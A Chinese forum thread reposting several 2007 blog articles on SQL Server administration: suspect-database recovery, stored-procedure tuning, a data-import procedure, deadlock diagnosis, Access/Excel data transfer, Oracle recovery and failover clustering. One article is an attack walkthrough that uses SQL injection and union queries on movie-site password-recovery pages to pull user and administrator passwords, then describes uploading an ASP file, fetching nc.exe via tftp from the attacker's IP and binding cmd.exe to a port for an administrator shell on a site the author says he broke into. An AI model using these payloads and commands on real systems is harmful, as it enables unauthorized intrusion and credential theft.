我实践了一下,把应用数据库的数据文件移走,重新建立一个同名的数据库XXX,然后停掉SQL服务,把原来的数据文件再覆盖回来。之后,按照怡红公子的步骤走。 


但是,也很遗憾,除了第2步之外,其他步骤执行非常成功。可惜,重启SQL Server之后,这个应用数据库仍然是置疑! 


不过,让我欣慰的是,这么做之后,倒是能够Select数据了,让我大出一口气。只不过,组件使用数据库时,报告说:“发生错误:-2147467259,未能在数据库 'XXX' 中运行 BEGIN TRANSACTION,因为该数据库处于回避恢复模式。” 


最终成功恢复的全部步骤 


设置数据库为紧急模式 


停掉SQL Server服务; 


把应用数据库的数据文件XXX_Data.mdf移走; 


重新建立一个同名的数据库XXX; 


停掉SQL服务; 


把原来的数据文件再覆盖回来; 


运行以下语句,把该数据库设置为紧急模式; 


运行“Use Master 


Go 


sp_configure 'allow updates', 1 


reconfigure with override 


Go” 


执行结果: 


DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。 


已将配置选项 'allow updates' 从 0 改为 1。请运行 RECONFIGURE 语句以安装。 


接着运行“update sysdatabases set status = 32768 where name = 'XXX'” 


执行结果: 


(所影响的行数为 1 行) 


重启SQL Server服务; 


运行以下语句,把应用数据库设置为Single User模式; 


运行“sp_dboption 'XXX', 'single user', 'true'” 


执行结果: 


命令已成功完成。 


ü 做DBCC CHECKDB; 


运行“DBCC CHECKDB('XXX')” 


执行结果: 


'XXX' 的 DBCC 结果。 


'sysobjects' 的 DBCC 结果。 


对象 'sysobjects' 有 273 行,这些行位于 5 页中。 


'sysindexes' 的 DBCC 结果。 


对象 'sysindexes' 有 202 行,这些行位于 

 
 2007-9-12 12:34:57    跟你谈谈数据库管理人员的生存法则跟你谈谈数据库管理人员的生存法则 


作为数据库技术人员,相信没有一个人愿意永远在底层编写程序或做简单的系统维护。经过一段时间的技术和经验的积累,很多人都向往更高层的职位,但如何能成为一个专业的数据库管理人才,并不是每一个人都清晰、明了。 
  如果你真想成为一名成功、成熟的数据库专家,你需要不断地扩展你的技能与知识——有些知识领域可能对你很陌生,本文阐述了可以帮助你提高职业素质的重要能力。作为一名数据库专业人士,要想有一个成功的职业生涯并不是很容易的事情。你有可能每一种技术都懂一些,但又都不精通,也有可能是一名专才。无论如何,一旦你想成为数据库专家,想在你的游戏地盘里成为楚翘,你需要不断扩展的、跨领域的素质。但是,大部分的素质能力存在于传统数据库技能范畴之外,它们可能适用于其他的功能学科。我们与其他人的差异越来越小,这超出了我们的习惯思维,恐怕对很多想迅速成功的数据库专业人士也是一个不小的打击。 

  理解现有的和新兴的技术

  所有数据库专业人士需要的一个最基本的能力便是对他们的基本技术技能进行深度和广度的拓展。如果用马斯洛的需求层次来比喻,那么这种能力应该属于食物和水的层次,你必须有这些才能满足基本的生存。上课、阅读文章、研究产品,参加一个专业性质的组织,你需要掌握你正在使用的技术领域的所有信息,而且你还需要有实践机会去应用这些知识。

  如果你参加一些技术资格或职称的考试,你应该经常提醒自己,你的目标并不单纯是为了在自己的名字后面加上许多的头衔,而是实现你所受教育的价值最大化。

  西方有句谚语,赢得游戏胜利不仅仅需要你将眼睛盯在正在击打的球上,而且也要能预计到下一个球的方向。历史经验已经证明,任何系统的平均生命周期大约为16个月,因此为未来做好规划很有必要。当你充分了解你正在做的事情后,实施的效率会更高。

  设计技术性架构

  任何自己修建的一个系统作为个体的功能都是自以为精妙和可执行的。但如果将它放进一个大一点的系统,它可能就会出现问题,也许你的技能还不是很高妙。无论你是负责全面的应用与网络设计,还是部分营建一个系统部件,支持一个企业架构,你都需要知道什么是良好的、扎实的架构设计法则。

  一套有效率的技术性架构设计将零件拼接在一起,它应该就像一台容易操控、价格合理的机器一样。我已经发现,架构设计如果基于“奥卡姆剃刀原理”(Occam's Razor),那么它往往是最棒的,奥卡姆剃刀原理这个词语源于拉丁语,意为“如无必要,勿增实体”(Ent数据库ies should not be multiplied unnecessarily),即简单就是最好的。当考虑设计之时,要记住每个组织都有一些独特的程序,大部分的组织性程序都相当的普通,它们能够用可配置的通用解决方案来解决问题。很多架构可以利用购买以及将一些很小数量的部件组合在一起的方式来完成,而不是要重新发明一种结构。通过这种方法,你能够在很短的时间内,利用更少的成本,为你的客户提供一种优质、容易操控的产品。同样理念还适用于个体应用与架构的设计与开发。



  


  系统集成

  技术为很多的目的服务,最重要的能力便是使程序的自动化。不是使用传统的供应商订单、库存管理以及产品市场推销手段,而是使用供应链程序,流程通过允许供应商和生产者来进行复杂地沟通控制,从而完成原材料进入生产流程到产品抵达消费者手中的整个过程。

  Sarbanes-Oxley和其他监管法则都要求企业达到内部控制的标准,它们在系统设计领域相当常见。随着产品和平台继续地增生扩散,随着企业日渐将自己的系统和其他的系统相连,高质量的协同工作能力是必须的。

  了解企业

  企业实体是复杂的组织,没有哪个企业是与别的企业完全相同的,就像雪花一样,没有两片雪花是完全相同。这种推动特定业务运转的灵活性不太容易被掌握。很多时候,尤其是在大型企业当中,多种文化是并存的——有一个文化是企业层面的,而别的存在于部门层面。当你认为是安全下水的时候,你对企业运行的细微直觉会因为合并或者管理性质的巨变失去灵光,一切都发生了改变。

  当我们认为自己能够在企业文化的风浪当中驾轻就熟,而无需在乎浪潮或者风向之时,我们不可以自鸣得意。同样的,尽管企业灵活性的东西当中,很多是普通的,可以传授的知识,那种认为在一个企业环境当中取得成功的做法同样适用于另外一个企业的想法是愚蠢的。我们必须学习我们身处的每个新环境的特质。

  规划管理项目

  Joe Torre被视为是一位非常优秀的经理。很难想像,如果他没有一套相当周全的比赛规划,这位纽约人能够在10次比赛中9次取得胜利,并且获得6个AL锦标赛以及4个世界性系列比赛的冠军。这种计划不是针对年度比赛的,而是每一场比赛。

  无论你是一位经理或者是一位选手,一名超级明星或者是一位业余玩家,你都要为自己近期和远期的比赛制定规划。你如何为今天进行规划? 

 
 2007-9-12 12:36:39    SQL Server存储过程编写经验和优化SQL Server存储过程编写经验和优化 


一、前言:在经过一段时间的存储过程开发之后,写下了一些开发时候的小结和经验与大家共享,希望对大家有益,主要是针对Sybase和SQL Server数据库,但其它数据库应该有一些共性。 

二、适合读者对象:数据库开发程序员,数据库的数据量很多,涉及到对SP(存储过程)的优化的项目开发人员,对数据库有浓厚兴趣的人。 


三、介绍:在数据库的开发过程中,经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作。如果项目的SP较多,书写又没有一定的规范,将会影响以后的系统维护困难和大SP逻辑的难以理解,另外如果数据库的数据量大或者项目对SP的性能要求很,就会遇到优化的问题,否则速度有可能很慢,经过亲身经验,一个经过优化过的SP要比一个性能差的SP的效率甚至高几百倍。 


四、 内容: 


1、开发人员如果用到其他库的Table或View,务必在当前库中建立View来实现跨库操作,最好不要直接使用“databse.dbo.table_name”,因为sp_depends不能显示出该SP所使用的跨库table或view,不方便校验。 


2、开发人员在提交SP前,必须已经使用set showplan on分析过查询计划,做过自身的查询优化检查。 


3、高程序运行效率,优化应用程序,在SP编写过程中应该注意以下几点: 


a) SQL的使用规范: 


i. 尽量避免大事务操作,慎用holdlock子句,提高系统并发能力。 


ii. 尽量避免反复访问同一张或几张表,尤其是数据量较大的表,可以考虑先根据条件提取数据到临时表中,然后再做连接。 


iii. 尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该改写;如果使用了游标,就要尽量避免在游标循环中再进行表连接的操作。 


iv. 注意where字句写法,必须考虑语句顺序,应该根据索引顺序、范围大小来确定条件子句的前后顺序,尽可能的让字段顺序与索引顺序相一致,范围从大到小。 


v. 不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。 


vi. 尽量使用exists代替select count(1)来判断是否存在记录,count函数只有在统计表中所有行数时使用,而且count(1)比count(*)更有效率。 


vii. 尽量使用“>=”,不要使用“>”。 


viii. 注意一些or子句和union子句之间的替换 


ix. 注意表之间连接的数据类型,避免不同类型数据之间的连接。 


x. 注意存储过程中参数和数据类型的关系。 


xi. 注意insert、update操作的数据量,防止与其他应用冲突。如果数据量超过200个数据页面(400k),那么系统将会进行锁升级,页级锁会升级成表级锁。 


b) 索引的使用规范: 


i. 索引的创建要与应用结合考虑,建议大的OLTP表不要超过6个索引。 


ii. 尽可能的使用索引字段作为查询条件,尤其是聚簇索引,必要时可以通过index index_name来强制指定索引 


iii. 避免对大表查询时进行table scan,必要时考虑新建索引。 


iv. 在使用索引字段作为条件时,如果该索引是联合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用。 


v. 要注意索引的维护,周期性重建索引,重新编译存储过程。 


c) tempdb的使用规范: 


i. 尽量避免使用distinct、order by、group by、having、join、cumpute,因为这些语句会加重tempdb的负担。 


ii. 避免频繁创建和删除临时表,减少系统表资源的消耗。 


iii. 在新建临时表时,如果一次性插入数据量很大,那么可以使用select into代替create table,避免log,提高速度;如果数据量不大,为了缓和系统表的资源,建议先create table,然后insert。 


iv. 如果临时表的数据量较大,需要建立索引,那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中,这样才能保证系统能够很好的使用到该临时表的索引。 


v. 如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先truncate table,然后drop table,这样可以避免系统表的较长时间锁定。 


vi. 慎用大的临时表与其他大表的连接查询和修改,减低系统表负担,因为这种操作会在一条语句中多次使用tempdb的系统表。 


d) 合理的算法使用: 


根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令:set statistics io on, set statistics time on , set showplan on 等。
  

 
 2007-9-12 12:40:02    SQL Server数据库下教你如何做导库SQLSQL Server数据库下教你如何做导库SQL 


导库SQL -- 适用于sql server 


在企业信息化建设过程中,数据库实体做为存放企业运营数据的仓库,具有至高重要的地位。 

为防止数据丢失,事前预防是很关键的,诸如数据库定期备份、磁盘阵列、集群解决方案等等。 

但是一旦发生数据丢失或是损坏的现象,而且不能通过正常的修复手段来处理,则可以通过导库来尝试一下。 


国产的软件包括k/3,u8 等等,都有类似管理数据库的工具,管理工具中提供新建数据库的功能,新建的同类(指管理工具中提供的类别)数据库实体(国产软件通常称之为“账套”)有相同的表结构。因此,如果账套损坏,且无法修复的,可以新建一同类型的账套实体,通过下面的导库语句把被损坏的账套的数据导入新建账套中。 


下面的语句提供了一个比sql server DTS导入导出更加灵活的工具。不过需要大家仔细理解才能运用的得心应手哈!! 


----该存储过程建立在新帐套中,并在新账套中执行 


if Exists(select * from sysobjects where name=N'sp_ExportDatabase' And Xtype='P')
    Drop PROCEDURE [sp_ExportDatabase] 
Go

Create PROCEDURE [sp_ExportDatabase] (
    @SourceDB varchar(100)
) ----创建存储过程 sp_ExportDatabase
AS
Begin
      Set NoCount On

    Declare @Utb sysname     ------用户表名
    Declare @ColName sysname   ------列名
    Declare @tid int       ------用户表的ID
    Declare @sql nvarchar(3000)------存放拼出的sql
    Declare @len int

    --定义游标取回用户建立的表

    sELECT @SourceDB=@SourceDB+'.'
    Declare Ctb Cursor For 
    Select name,id From sysobjects 
    Where xtype ='U' ----如果在导库过程中因某表存在错误而导致导库过程停止 ,则可以尝试修复此表。
              ----如果此表不是很重要、或是此表无法修复,则可以在此加入条件 
    And name in (tablename1,tablename2,……) 
    ------tablename1,tablename2 表示不能修复的表的名字
    Order by name

    Open Ctb
    Fetch Ctb Into @Utb,@tid
    While (@@FETCH_STATUS=0)
    Begin   ----禁用当前数据库中所有表的约束、触发器
        Select @Utb='Dbo.'+@Utb
        Select @SQL='Alter Table '+@Utb+' Disable Trigger All; '+ ' ALTER TABLE '+ @Utb +' NOCHECK CONSTRAINT All; '
        exec ( @SQL)
        Fetch Ctb Into @Utb,@tid
    End   
    close ctb

    Open Ctb
        Fetch Ctb Into @Utb,@tid
        While (@@FETCH_STATUS=0)
        Begin
          Select @Utb='Dbo.'+@Utb
                
          exec (' Delete ' + @Utb)
              
              Set @sql=''
              Declare Clu Cursor For Select name From syscolumns Where id=@tid And iscomputed=0 and xtype<>189
              Open Clu
              Fetch Clu Into @ColName
              While (@@FETCH_STATUS=0)
              Begin     ----把列名以逗号隔开,拼成字符串               
                  Set @sql=@sql+ @ColName + ',' 
                  Fetch Clu Into @ColName
              End
              Close Clu
              DeAllocate Clu

              ----构造字符串         
              Set @len=Len(@sql)
              If @len>0 
              Begin   ----把源数据库中的表导入到当前数据库中
                  Select @sql=left(@sql,@len-1)
                  Set @sql='Insert Into '+ @Utb + ' ('+@sql+') '+' Select '+@sql+' From ' + @SourceDB+ @Utb
                  print 'Importing Table : ' +@utb+'...'
                  If Exists (Select name From syscolumns Where id=@tid and status=0x80)
                      begin
                      Select @SQl='Set IDENTITY_INSERT '+ @Utb + ' ON' + ' Delete ' + @Utb+' '+@sql
                      print @sql
                      end
                  Else
                      Select @SQl=@sql
        
                  Exec ( @sql)

                  If Exists (Select name From syscolumns Where id=@tid and status=0x80)
                      Exec( 'Set IDENTITY_INSERT '+ @Utb + ' Off')
                  print 'Importing Table : ' +@utb+' complete'
              End
                  
              Fetch Next From Ctb Into @Utb,@tid
        End
    Close Ctb


    Open Ctb
    Fetch Ctb Into @Utb,@tid
    While (@@FETCH_STATUS=0)
    Begin   ----启用当前数 

 

来源  http://www.delphibbs.com/keylife/iblog_show.asp?xid=36554
返回列表  返回顶部  
帅哥不在线  erp顾问
头衔:erp顾问
职务:版主
等级:★★★★★★★
发帖:4742
积分:28365
注册:2010-5-5
1 楼 发表于:2011-5-31 9:02:41   引用  编辑
续.....

 2007-9-12 12:43:34    SQL Server 数据库中关于死锁的分析SQL Server 数据库中关于死锁的分析 


SQL Server数据库发生死锁时不会像ORACLE那样自动生成一个跟踪文件。有时可以在[管理]->[当前活动] 里看到阻塞信息(有时SQL Server企业管理器会因为锁太多而没有响应). 


设定跟踪1204: 


USE MASTER 

DBCC TRACEON (1204,-1) 



显示当前启用的所有跟踪标记的状态: 


DBCC TRACESTATUS(-1) 



取消跟踪1204: 


DBCC TRACEOFF (1204,-1) 



在设定跟踪1204后,会在数据库的日志文件里显示SQL Server数据库死锁时一些信息。但那些信息很难看懂,需要对照SQL Server联机丛书仔细来看。根据PAG锁要找到相关数据库表的方法: 


DBCC TRACEON (3604)
DBCC PAGE (db_id,file_id,page_no)
DBCC TRACEOFF (3604)
 




请参考sqlservercentral.com上更详细的讲解.但又从CSDN学到了一个找到死锁原因的方法。我稍加修改, 去掉了游标操作并增加了一些提示信息,写了一个系统存储过程sp_who_lock.sql。代码如下: 


if exists (select * from dbo.sysobjects
where id = object_id(N'[dbo].[sp_who_lock]')
and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_who_lock]
GO
/********
//  创建 : fengyu  邮件 : maggiefengyu@tom.com
//  日期 :2004-04-30
//  修改 : 从http://www.csdn.net/develop/Read_Article.asp?id=26566
//  学习到并改写
//  说明 : 查看数据库里阻塞和死锁情况
********/
use master
go
create procedure sp_who_lock
as
begin
declare @spid int,@bl int,
@intTransactionCountOnEntry     int,
@intRowcount             int,
@intCountProperties         int,
@intCounter             int
create table #tmp_lock_who (
id int identity(1,1),
spid smallint,
bl smallint)
IF @@ERROR<>0 RETURN @@ERROR
insert into #tmp_lock_who(spid,bl) select  0 ,blocked
from (select * from sysprocesses where  blocked>0 ) a
where not exists(select * from (select * from sysprocesses
where  blocked>0 ) b
where a.blocked=spid)
union select spid,blocked from sysprocesses where  blocked>0
IF @@ERROR<>0 RETURN @@ERROR
-- 找到临时表的记录数
select     @intCountProperties = Count(*),@intCounter = 1
from #tmp_lock_who
IF @@ERROR<>0 RETURN @@ERROR
if    @intCountProperties=0
select '现在没有阻塞和死锁信息' as message
-- 循环开始
while @intCounter <= @intCountProperties
begin
-- 取第一条记录
select     @spid = spid,@bl = bl
from #tmp_lock_who where Id = @intCounter
begin
if @spid =0
select '引起数据库死锁的是: '+ CAST(@bl AS VARCHAR(10))
+ '进程号,其执行的SQL语法如下'
else
select '进程号SPID:'+ CAST(@spid AS VARCHAR(10))+ '被'
+ '进程号SPID:'+ CAST(@bl AS VARCHAR(10)) +'阻塞,其当前进程执行的SQL语法如下'
DBCC INPUTBUFFER (@bl )
end
-- 循环指针下移
set @intCounter = @intCounter + 1
end
drop table #tmp_lock_who
return 0
end
 




需要的时候直接调用: 


sp_who_lock 



就可以查出引起死锁的进程和SQL语句. 


SQL Server自带的系统存储过程sp_who和sp_lock也可以用来查找阻塞和死锁, 但没有这里介绍的方法好用。如果想知道其它tracenum参数的含义,请看www.sqlservercentral.com文章 


我们还可以设置锁的超时时间(单位是毫秒), 来缩短死锁可能影响的时间范围: 


例如: 


use master
seelct @@lock_timeout
set lock_timeout 900000
-- 15分钟
seelct @@lock_timeout
 
  

 
 2007-9-12 12:45:14    SQL注入奇招致胜 Union查询轻松看电影SQL注入奇招致胜 Union查询轻松看电影 


周末无聊,同学想让我帮他下载一些电影看,我爽快的答应了。看了这么多期X档案,水平自然长进不少。这次想免费下载些电影,没问题(我知道N多电影程序有漏洞)。闲话少说,切入正题。 

我打开Google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和电影系统关联很大。系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺骗什么的。我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户进行猜测。我也想用这种方法猜测,猜了半天都没猜对,真烦人,同学还在那边等我哪,这不是很丢人。我决定找个简单的办法,还是读读源码吧! 

下载了一个电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。 


39        
...
58   
 

这里果然没过滤。好多人都想到了可以用上面的方法注入了。能不能有更简单的方法呢? 

我仔细考虑语句的形式如下: 


select password from users where userid=‘‘ and city=‘‘ and adress='‘
 

如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password,而且是明文的。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。Access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个 union了。 

怎么利用呢?先在本机做实验。测试过程简略,直接写有所收获的结果。要是知道了一个该网站的一个用户名(比如abc),可以这样利用。在"你注册问题"处填: abc' or ‘1=1(如果用户名是bcd,就变为bcd' or ‘1=1)密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示答案处随便填几个字母或数字,填个a回车后就看到该用户的密码了,简单吧(如图一)。其实这样一来,上面的语句就变为: 


select password from users
where userid=‘abc'  or  ‘1=1‘ and city=‘a‘ and adress='a‘
 

呵呵,程序无条件的执行了,因为被 or ‘1=1'跳过后面的验证了。可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下:在"你注册问题"处随便处填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示问题处和上面一样,随便填:我也填个a关键是在密码提示答案:我填的是a' union select userid from users where oklook>=3 or '0上面就是要找黄金用户的帐户名,看到用户名后再用前面的方法找到密码。可以在where后面加很多参数并赋不同的值可以得到很多帐户。按上面的填入后输入语句就变成了: 


select password from users
where userid=‘a‘ and city=‘a‘ and 
adress=' a' union select  userid  from users  where oklook>=3 or '0 ‘
 

细心的读者看到这可能已经想到怎样得到管理员的帐号和密码,不错,也很简单。我也不写过程了,直接写出语句如下: 

得到帐号: 


select password from users
where userid=‘a‘ and city=‘a‘ and adress=' a' 
union select  name  from okwiantgo  where  id>=1 or '0 ‘
 

得到密码: 


select password from users 
where userid=‘a‘ and city=‘a‘ and adress=' a' 
union select  pwd  from okwiantgo  where  id>=1 or '0 ‘
 

然后登陆就行了,路径格式为: 

http://网站电影路径/findaccout.asp?name=管理员帐号&pwd=管理员密码 

回车,很轻松就进管理界面了。有时findaccount.asp可能被改名了,这时只能拿个黄金帐户了。 

这个漏洞有很多电影程序有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入稍微修改一下行了。这样一来不管是多复杂的密码,或者是中文密码都没问题。再猜管理员帐户的时候也要多,where后面的条件多变化才行,否则可能得不到超级管理员。 

这个漏洞使用很简单,危害极大,轻易可以得到管理员帐户。如果系统配置不当,在upload/uploadmovie.asp允许上传ASP文件,系统就很容易换主人了。我曾经成功渗透过这样一个网站,简单过程叙述如下。 

上传一个ASP程序,发现该系统运行SQLSERVER,通过读源文件看到了sa的密码,用sqlexec连接,tftp上传nc.exe。再次dir发现nc被删了,有防火强。用tftp上传nc.jpg肯定万无一失, tftp -i 我的IP get nc.exe nc.jpg,上传成功。在sqlexec运行 


nc.jpg -l -p 99 -e  c\winnt\system32\cmd.exe
 

nc想必都很熟悉了吧,上面就是再目标机器上开一个99端口监听,同时把cmd.exe重定向到这里,本地连接nc.exe -vv 目标IP 99,得到shell,而且是管理员权限。输入 n 

 
 2007-9-12 12:46:45    SQLServer和Access、Excel数据传输总结SQLServer和Access、Excel数据传输总结 


所谓的数据传输,其实是指SQLServer访问Access、Excel间的数据。 

为什么要考虑到这个问题呢? 

由于历史的原因,客户以前的数据很多都是在存入在文本数据库中,如Acess、Excel、Foxpro。现在系统升级及数据库服务器如SQLServer、ORACLE后,经常需要访问文本数据库中的数据,所以就会产生这样的需求。前段时间出差的项目,就是面临这样的一个问题:SQLServer和VFP之间的数据交换。 

要完成标题的需要,在SQLServer中是一件非常简单的事情。 

通常的可以有3种方式:1、DTS工具 2、BCP 3、分布式查询 

DTS就不需要说了,因为那是图形化操作界面,很容易上手。 

这里主要讲下后面两们,分别以查、增、删、改作为简单的例子: 

下面废话就不说了,直接以T-SQL的形式表现出来。 

一、SQLServer和Access 

1、查询Access中数据的方法: 


select * from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
 

或 

select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="c:\DB2.mdb";User ID=Admin;Password=')...serv_user 

2、从SQLServer向Access写数据: 


insert into OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
select * from SQLServer表
 

或用BCP 


master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'
 

上面的区别主要是:OpenRowSet需要mdb和表存在,BCP会在不存在的时候生成该mdb 

3、从Access向SQLServer写数据:有了上面的基础,这个就很简单了 


insert into SQLServer表 select * from 
OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
 

或用BCP 


master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" in "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'
 

4、删除Access数据: 


delete from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
where lock=0
 

5、修改Access数据: 


update OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
set lock=1
 

SQLServer和Access大致就这么多。 

二、SQLServer和Excel 

1、向Excel查询 


select * from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;
HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]') 
where c like '%f%'

select * from 
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls',[sheet1$])
 

1)hdr=yes时可以把xls的第1行作为字段看待,如第1个中hdr=no的话,where时就会报错 

2)[]和美圆$必须要,否则M$可不认这个账 

2、修改Execl 


update OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;
database=c:\book1.xls;','select * from [Sheet1$]')
set a='erquan' where c like '%f%'
 

3、导入导出 


insert into OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;
database=c:\book1.xls;','select * from [Sheet2$]')(id,name)
select id,name from serv_user
 

或BCP 


master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\book2.xls" -c -q -S"." -U"sa" -P"sa"'
 

从Excel向SQLServer导入: 


select * into serv_user_bak 
from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;',
'select * from [Sheet1$]')
 

如果表serv_user_bak不存在,则创建 

有关BCP和分布式查询的详细解答,就查SQLServer自带的帮助吧。 

SQLServer和txt文件、HTML文件、VFP文件的数据交换都显得非常容易了。。。。 

其实这些内容在帮助里都有,偶只不过是总结了一下,方便大家参考,呵呵'' 

以上内容都经过测试'' 

  

 
 2007-9-12 12:47:57    从头谈起:数据库基础知识快速充电从头谈起:数据库基础知识快速充电 


章1 介绍数据库的恢复 

1.1 数据库的恢复 

当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(硬件故障、软件故障、网络故障、进程故障和系统故障)影响数据库系统的操作,影响数据库中数据的正确性,甚至破坏数据库,使数据库中全部或部分数据丢失。因此当发生上述故障后,希望能重构这个完整的数据库,该处理称为数据库恢复。恢复过程大致可以分为复原与恢复过程。 

章2 数据库恢复的基本方法 

2.1 实例故障的一致性恢复 

当实例意外地(如掉电、后台进程故障等)或预料地(发出SHUTDOUM ABORT语句)中止时出现实例故障,此时需要实例恢复。实例恢复将数据库恢复到故障之前的事务一致状态。如果在在线后被发现实例故障,则需介质恢复。在其它情况Oracle在下次数据库起动时(对新实例装配和打开),自动地执行实例恢复。 

2.2 介质故障或文件错误的不一致恢复 

1介质故障是当一个文件、一个文件的部分或磁盘不能读或不能写时出现的故障。文件错误一般指意外的错误导致文件被删除或意外事故导致文件的不一致。这种状态下的数据库都是不一致的,需要DBA手工来进行数据库的恢复。 

2.3 了解与恢复相关的信息 

2.3.1 理解报警日志文件 

报警日志文件一般记载了数据库的启动/关闭信息,归档信息,备份信息,恢复信息,常见错误信息,部分数据库修改记录等。一般令名规则为Alrt.log或Alrt.log。 

报警日志文件的路径是根据初始化参数background_dump_dest来决定的。 

2.3.2 后台进程跟踪文件 

后台进程跟踪文件的路径与报警日志文件的路径一致,在某些情况下,你可以通过后台跟踪文件的信息了解更多的需要恢复的信息。 

2.3.3 v$recover_file与v$recovery_log 

这是两个动态性能视图,可以在mount下查看,通过这两个视图,你可以了解详细的需要恢复的数据文件与需要使用到的归档日志。 

2.4 损坏联机日志的恢复方法 

2.4.1 损坏非当前联机日志 

大家都清楚,联机日志分为当前联机日志和非当前联机日志,非当前联机日志的损坏是比较简单的,一般通过clear命令就可以解决问题 。 

2.4.2 损坏当前联机日志 

归档模式下当前日志的损坏有两种情况: 

是数据库是正常关闭,日志文件中没有未决的事务需要实例恢复,当前日志组的损坏就可以直接用alter database clear unarchived logfile group n来重建。 

是日志组中有活动的事务,数据库需要媒体恢复,日志组需要用来同步,有两种补救办法: 

最好的办法就是通过不完全恢复,可以保证数据库的一致性,但是这种办法要求在归档方式下,并且有可用的备份。 

通过强制性恢复,但是可能导致数据库不一致。 

2.5 损坏控制文件的恢复方法 

2.5.1 损坏单个控制文件 

损坏单个控制文件是比较容易恢复的,因为一般的数据库系统,控制文件都不是一个,而且所有的控制文件都互为镜相,只要拷贝一个好的控制文件替换坏的控制文件就可以了。 

说明: 

损失单个控制文件是比较简单的,因为数据库中所有的控制文件都是镜相的,只需要简单的拷贝一个好的就可以了。 

建议镜相控制文件在不同的磁盘上。 

建议多做控制文件的备份,长期保留一份由alter database backup control file to trace产生的控制文件的文本备份。 

2.5.2 损坏全部控制文件 

1损坏多个控制文件,或者人为的删除了所有的控制文件,通过控制文件的复制已经不能解决问题,这个时候需要重新建立控制文件。 

1同时注意,alter database backup control file to trace可以产生一个控制文件的文本备份。 

说明: 

重建控制文件用于恢复全部数据文件的损坏,需要注意其书写的正确性,保证包含了所有的数据文件与联机日志。 

  

 
 2007-9-12 12:50:47    如何创建SQL Server 2000故障转移群集如何创建SQL Server 2000故障转移群集 


在创建SQL Server 2000 故障转移群集之前,必须配置 Microsoft 群集服务 (MSCS) 并使用 Microsoft Windows NT4.0 或 Windows 2000 中的群集管理员创建至少一个群集磁盘资源。在运行 SQL Server 安装程序之前,在群集管理员中记下群集驱动器的位置,因为创建新的故障转移群集需要该信息。只有SQL Server 2000 企业版才支持群集。 



  在创建SQL Server 2000 故障转移群集之前,必须配置 Microsoft 群集服务 (MSCS) 并使用 Microsoft Windows NT4.0 或 Windows 2000 中的群集管理员创建至少一个群集磁盘资源。在运行 SQL Server 安装程序之前,在群集管理员中记下群集驱动器的位置,因为创建新的故障转移群集需要该信息。只有SQL Server 2000 企业版才支持群集。 


  1. 在"Microsoft SQL Server 安装向导的“欢迎”屏幕中,单击“下一步”按钮。 


  2.在“计算机名称”屏幕上,单击“虚拟服务器”并输入虚拟**********。如果安装程序检测到 MSCS 正在运行,则将默认为“虚拟服务器”,单击“下一步”按钮。 


  3. 在“用户信息”屏幕上,输入用户名和公司名。单击“下一步”按钮。 


  4. 在“软件许可协议”屏幕上,单击“是”按钮。 


  5. 在“故障转移群集”屏幕上,输入为客户端访问配置的每个网络的一个 IP 地址。也就是为每个虚拟服务器可由公共(或混合)网络上的客户端使用的网络输入一个 IP 地址,选择要输入 IP 地址的网络,然后输入 IP 地址,单击“添加”按钮。 


  显示 IP 地址和子网,子网由 MSCS 提供,继续为每个已安装的网络输入 IP 地址,直到所有需要的网络都填充了 IP 地址,单击“下一步”按钮。 


  6. 在“群集磁盘选择”屏幕中,选择在默认情况下用于放置数据文件的群集磁盘组。单击“下一步”按钮。 


  7.在“群集管理”屏幕中,查看 SQL Server 2000 所提供的群集定义。默认情况下,选定所有可用节点。删除不属于正创建的虚拟服务器群集定义的任何节点,单击“下一步”按钮。 


  8.在“远程信息”屏幕中,输入远程群集节点的登录凭据,该登录凭据必须在群集的远程节点上有管理员特权,单击“下一步”按钮。 


